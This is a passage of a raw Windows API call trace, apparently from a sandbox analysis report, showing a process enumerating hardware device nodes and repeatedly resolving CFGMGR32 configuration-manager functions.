CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.055] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d5d4854, dwHighDateTime=0x1d9eb0c)) [0182.055] SetEvent (hEvent=0x248) returned 1 [0182.056] SetEvent (hEvent=0x248) returned 1 [0182.057] free (_Block=0x196ef0cc850) [0182.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.057] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d5faa07, dwHighDateTime=0x1d9eb0c)) [0182.058] SetEvent (hEvent=0x248) returned 1 [0182.059] SetEvent (hEvent=0x248) returned 1 [0182.059] free (_Block=0x196ef0cd160) [0182.060] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.060] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d5faa07, dwHighDateTime=0x1d9eb0c)) [0182.060] SetEvent (hEvent=0x248) returned 1 [0182.061] SetEvent (hEvent=0x248) returned 1 [0182.062] free (_Block=0x196ef0cc850) [0182.062] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.062] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d5faa07, dwHighDateTime=0x1d9eb0c)) [0182.063] SetEvent (hEvent=0x248) returned 1 [0182.067] SetEvent (hEvent=0x248) returned 1 [0182.067] free (_Block=0x196ef0cc850) [0182.067] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.070] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d5faa07, dwHighDateTime=0x1d9eb0c)) [0182.070] SetEvent (hEvent=0x248) returned 1 [0182.071] SetEvent (hEvent=0x248) returned 1 [0182.072] free (_Block=0x196ef0cc850) [0182.072] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xe, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0182.072] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4d5faa07, dwHighDateTime=0x1d9eb0c)) [0182.072] SetEvent (hEvent=0x248) returned 1 [0182.075] SetEvent (hEvent=0x248) returned 1 [0182.075] free (_Block=0x196ef0cd160) [0182.076] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xe, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0182.076] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4d62369d, dwHighDateTime=0x1d9eb0c)) [0182.076] SetEvent (hEvent=0x248) returned 1 [0182.077] SetEvent (hEvent=0x248) returned 1 [0182.078] free (_Block=0x196ef0cd160) [0182.078] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0182.078] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d62369d, dwHighDateTime=0x1d9eb0c)) [0182.078] SetEvent (hEvent=0x248) returned 1 [0182.081] SetEvent (hEvent=0x248) returned 1 [0182.082] free (_Block=0x196ef0cd160) [0182.082] CM_Get_Device_IDA (in: dnDevInst=0xf, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB\\4&B24102A&0") returned 0x0 [0182.082] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4d62369d, dwHighDateTime=0x1d9eb0c)) [0182.082] SetEvent (hEvent=0x248) returned 1 [0182.084] SetEvent (hEvent=0x248) returned 1 [0182.084] free (_Block=0x196ef0cd160) [0182.084] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0182.084] malloc (_Size=0xa0) returned 0x196ef0d31b0 [0182.085] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608) returned 0x0 [0182.085] free (_Block=0x196ef0d31b0) [0182.085] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d62369d, dwHighDateTime=0x1d9eb0c)) [0182.085] SetEvent (hEvent=0x248) returned 1 [0182.086] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0182.086] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0182.086] free (_Block=0x196ef0d1ee0) [0182.086] malloc (_Size=0x18) returned 0x196ef0d2080 [0182.086] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0182.086] free (_Block=0x196ef0d2080) [0182.086] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0182.086] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0182.087] free (_Block=0x196ef0d1ba0) [0182.087] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856a60 [0182.087] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0182.087] SafeArrayGetLBound (in: psa=0x196ef1f2230, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0182.087] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0182.087] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0182.087] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0182.087] SafeArrayGetElemsize (psa=0x196ef1f2230) returned 0x8 [0182.087] SafeArrayGetElement (in: psa=0x196ef1f2230, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0182.088] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.088] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.088] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.205] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0182.206] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856a60) returned 1 [0182.206] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.206] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.209] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0182.209] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0182.210] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d751f92, dwHighDateTime=0x1d9eb0c)) [0182.210] SetEvent (hEvent=0x248) returned 1 [0182.212] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.212] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.216] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0182.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.220] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d778297, dwHighDateTime=0x1d9eb0c)) [0182.221] SetEvent (hEvent=0x248) returned 1 [0182.223] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.223] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.226] malloc (_Size=0x18) returned 0x196ef0d1a60 [0182.226] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.226] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d778297, dwHighDateTime=0x1d9eb0c)) [0182.227] SetEvent (hEvent=0x248) returned 1 [0182.229] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.229] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.232] malloc (_Size=0x18) returned 0x196ef0d1c00 [0182.232] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.233] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d79e43b, dwHighDateTime=0x1d9eb0c)) [0182.233] SetEvent (hEvent=0x248) returned 1 [0182.236] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.236] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.239] malloc (_Size=0x18) returned 0x196ef0d1c80 [0182.239] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.239] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d79e43b, dwHighDateTime=0x1d9eb0c)) [0182.239] SetEvent (hEvent=0x248) returned 1 [0182.244] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.244] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, 